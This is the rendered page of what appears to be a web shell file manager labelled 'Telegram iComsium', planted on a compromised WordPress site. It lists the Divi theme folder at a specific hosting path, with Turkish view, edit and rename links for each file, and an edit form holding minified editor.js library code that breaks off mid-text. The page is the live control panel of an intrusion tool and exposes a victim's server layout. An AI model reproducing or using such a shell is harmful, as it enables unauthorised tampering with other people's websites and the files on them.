<b>Telegram iComsium Current root:</b> /home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi <br><b>Current path:</b> /home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi <hr><a href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes">..</a><br /><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php">404.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md">CREDITS.md</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md">LICENSE.md</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md">README.md</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/ai-app">ai-app</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt">changelog.txt</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/cloud">cloud</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php">comments.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/common">common</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/core">core</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/css">css</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/epanel">epanel</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log">error_log</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/et-pagebuilder">et-pagebuilder</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php">footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php">functions.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php">header.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/images">images</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/includes">includes</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php">index.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/js">js</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/lang">lang</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/onboarding">onboarding</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php">options_divi.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php">page-template-blank.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php">page.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php">post_thumbnails_divi.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/psd">psd</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css">rtl.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg">screenshot.jpg</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php">sidebar-footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php">sidebar.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php">single-et_pb_layout.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php">single-project.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php">single.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css">style-cpt-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css">style-cpt.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css">style-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css">style-static-cpt-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css">style-static-cpt.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css">style-static-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css">style-static.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css">style.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css">style.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php">theme-after-footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php">theme-after-header.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php">theme-after-wrappers.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php">theme-before-wrappers.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php">theme-footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php">theme-header.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json">theme.json</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml">wpml-config.xml</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml">[Yeniden Adlandır]</a><br><hr><h3>Dosya Düzenle: editor.js</h3>
        <form method="POST">
            <textarea name="content" style="width:100%;height:300px;">/*! For license information please see editor.js.LICENSE.txt */
(()=&gt;{var e={7675(e,t,s){&quot;use strict&quot;;s.d(t,{y:()=&gt;i});var r=s(76416),n=function(e,t){var s={};for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&amp;&amp;t.indexOf(r)&lt;0&amp;&amp;(s[r]=e[r]);if(null!=e&amp;&amp;&quot;function&quot;==typeof Object.getOwnPropertySymbols){var n=0;for(r=Object.getOwnPropertySymbols(e);n&lt;r.length;n++)t.indexOf(r[n])&lt;0&amp;&amp;Object.prototype.propertyIsEnumerable.call(e,r[n])&amp;&amp;(s[r[n]]=e[r[n]])}return s};const o=&quot;text/event-stream&quot;,a=&quot;last-event-id&quot;;function i(e,t){var{signal:s,headers:i,onopen:c,onmessage:u,onclose:d,onerror:p,openWhenHidden:h,fetch:m}=t,g=n(t,[&quot;signal&quot;,&quot;headers&quot;,&quot;onopen&quot;,&quot;onmessage&quot;,&quot;onclose&quot;,&quot;onerror&quot;,&quot;openWhenHidden&quot;,&quot;fetch&quot;]);return new Promise((t,n)=&gt;{const f=Object.assign({},i);let b;function v(){b.abort(),document.hidden||_()}f.accept||(f.accept=o),h||document.addEventListener(&quot;visibilitychange&quot;,v);let k=1e3,y=0;function x(){document.removeEventListener(&quot;visibilitychange&quot;,v),window.clearTimeout(y),b.abort()}null==s||s.addEventListener(&quot;abort&quot;,()=&gt;{x(),t()});const j=null!=m?m:window.fetch,w=null!=c?c:l;async function _(){var s;b=new AbortController;try{const s=await j(e,Object.assign(Object.assign({},g),{headers:f,signal:b.signal}));await w(s),await(0,r.q5)(s.body,(0,r.iv)((0,r.VL)(e=&gt;{e?f[a]=e:delete f[a]},e=&gt;{k=e},u))),null==d||d(),x(),t()}catch(e){if(!b.signal.aborted)try{const t=null!==(s=null==p?void 0:p(e))&amp;&amp;void 0!==s?s:k;window.clearTimeout(y),y=window.setTimeout(_,t)}catch(e){x(),n(e)}}}_()})}function l(e){const t=e.headers.get(&quot;content-type&quot;);if(!(null==t?void 0:t.startsWith(o)))throw new Error(`Expected content-type to be ${o}, Actual: ${t}`)}},76416(e,t,s){&quot;use strict&quot;;async function r(e,t){const s=e.getReader();let r;for(;!(r=await s.read()).done;)t(r.value)}function n(e){let t,s,r,n=!1;return function(o){void 0===t?(t=o,s=0,r=-1):t=function(e,t){const s=new Uint8Array(e.length+t.length);return s.set(e),s.set(t,e.length),s}(t,o);const a=t.length;let i=0;for(;s&lt;a;){n&amp;&amp;(10===t[s]&amp;&amp;(i=++s),n=!1);let o=-1;for(;s&lt;a&amp;&amp;-1===o;++s)switch(t[s]){case 58:-1===r&amp;&amp;(r=s-i);break;case 13:n=!0;case 10:o=s}if(-1===o)break;e(t.subarray(i,o),r),i=s,r=-1}i===a?t=void 0:0!==i&amp;&amp;(t=t.subarray(i),s-=i)}}function o(e,t,s){let r=a();const n=new TextDecoder;return function(o,i){if(0===o.length)null==s||s(r),r=a();else if(i&gt;0){const s=n.decode(o.subarray(0,i)),a=i+(32===o[i+1]?2:1),l=n.decode(o.subarray(a));switch(s){case&quot;data&quot;:r.data=r.data?r.data+&quot;\n&quot;+l:l;break;case&quot;event&quot;:r.event=l;break;case&quot;id&quot;:e(r.id=l);break;case&quot;retry&quot;:const s=parseInt(l,10);isNaN(s)||t(r.retry=s)}}}}function a(){return{data:&quot;&quot;,event:&quot;&quot;,id:&quot;&quot;,retry:void 0}}s.d(t,{VL:()=&gt;o,iv:()=&gt;n,q5:()=&gt;r})},87399(e){!function(){&quot;use strict&quot;;var t=[],s=3988292384;function r(e){var t,r,n,o,a=-1;for(t=0,n=e.length;t&lt;n;t+=1){for(o=255&amp;(a^e[t]),r=0;r&lt;8;r+=1)1&amp;~o?o&gt;&gt;&gt;=1:o=o&gt;&gt;&gt;1^s;a=a&gt;&gt;&gt;8^o}return-1^a}function n(e,s){var r,o,a;if(void 0!==n.crc&amp;&amp;s&amp;&amp;e||(n.crc=~0,e)){for(r=n.crc,o=0,a=e.length;o&lt;a;o+=1)r=r&gt;&gt;&gt;8^t[255&amp;(r^e[o])];return n.crc=r,-1^r}}!function(){var e,r,n;for(r=0;r&lt;256;r+=1){for(e=r,n=0;n&lt;8;n+=1)1&amp;e?e=s^e&gt;&gt;&gt;1:e&gt;&gt;&gt;=1;t[r]=e&gt;&gt;&gt;0}}(),e.exports=function(e,t){var s;e=&quot;string&quot;==typeof e?(s=e,Array.prototype.map.call(s,function(e){return e.charCodeAt(0)})):e;return((t?r(e):n(e))&gt;&gt;&gt;0).toString(16)},e.exports.direct=r,e.exports.table=n}()},51601(e,t,s){var r;e.exports=(r=r||function(e,t){var r;if(&quot;undefined&quot;!=typeof window&amp;&amp;window.crypto&amp;&amp;(r=window.crypto),&quot;undefined&quot;!=typeof self&amp;&amp;self.crypto&amp;&amp;(r=self.crypto),&quot;undefined&quot;!=typeof globalThis&amp;&amp;globalThis.crypto&amp;&amp;(r=globalThis.crypto),!r&amp;&amp;&quot;undefined&quot;!=typeof window&amp;&amp;window.msCrypto&amp;&amp;(r=window.msCrypto),!r&amp;&amp;&quot;undefined&quot;!=typeof window&amp;&amp;window.crypto&amp;&amp;(r=window.crypto),!r)try{r=s(42305)}catch(e){}var n=function(){if(r){if(&quot;function&quot;==typeof r.getRandomValues)try{return r.getRandomValues(new Uint32Array(1))[0]}catch(e){}if(&quot;function&quot;==typeof r.randomBytes)try{return r.randomBytes(4).readInt32LE()}catch(e){}}throw new Error(&quot;Native crypto module could not be used to get secure random number.&quot;)},o=Object.create||function(){function e(){}return function(t){var s;return e.prototype=t,s=new e,e.prototype=null,s}}(),a={},i=a.lib={},l=i.Base={extend:function(e){var t=o(this);return e&amp;&amp;t.mixIn(e),t.hasOwnProperty(&quot;init&quot;)&amp;&amp;this.init!==t.init||(t.init=function(){t.$super.init.apply(this,arguments)}),t.init.prototype=t,t.$super=this,t},create:function(){var e=this.extend();return e.init.apply(e,arguments),e},init:function(){},mixIn:function(e){for(var t in e)e.hasOwnProperty(t)&amp;&amp;(this[t]=e[t]);e.hasOwnProperty(&quot;toString&quot;)&amp;&amp;(this.toString=e.toString)},clone:function(){return this.init.prototype.extend(this)}},c=i.WordArray=l.extend({init:function(e,s){e=this.words=e||[],this.sigBytes=s!=t?s:4*e.length},toString:function(e){return(e||d).stringify(this)},concat:function(e){var t=this.words,s=e.words,r=this.sigBytes,n=e.sigBytes;if(this.clamp(),r%4)for(var o=0;o&lt;n;o++){var a=s[o&gt;&gt;&gt;2]&gt;&gt;&gt;24-o%4*8&amp;255;t[r+o&gt;&gt;&gt;2]|=a&lt;&lt;24-(r+o)%4*8}else for(var i=0;i&lt;n;i+=4)t[r+i&gt;&gt;&gt;2]=s[i&gt;&gt;&gt;2];return this.sigBytes+=n,this},clamp:function(){var 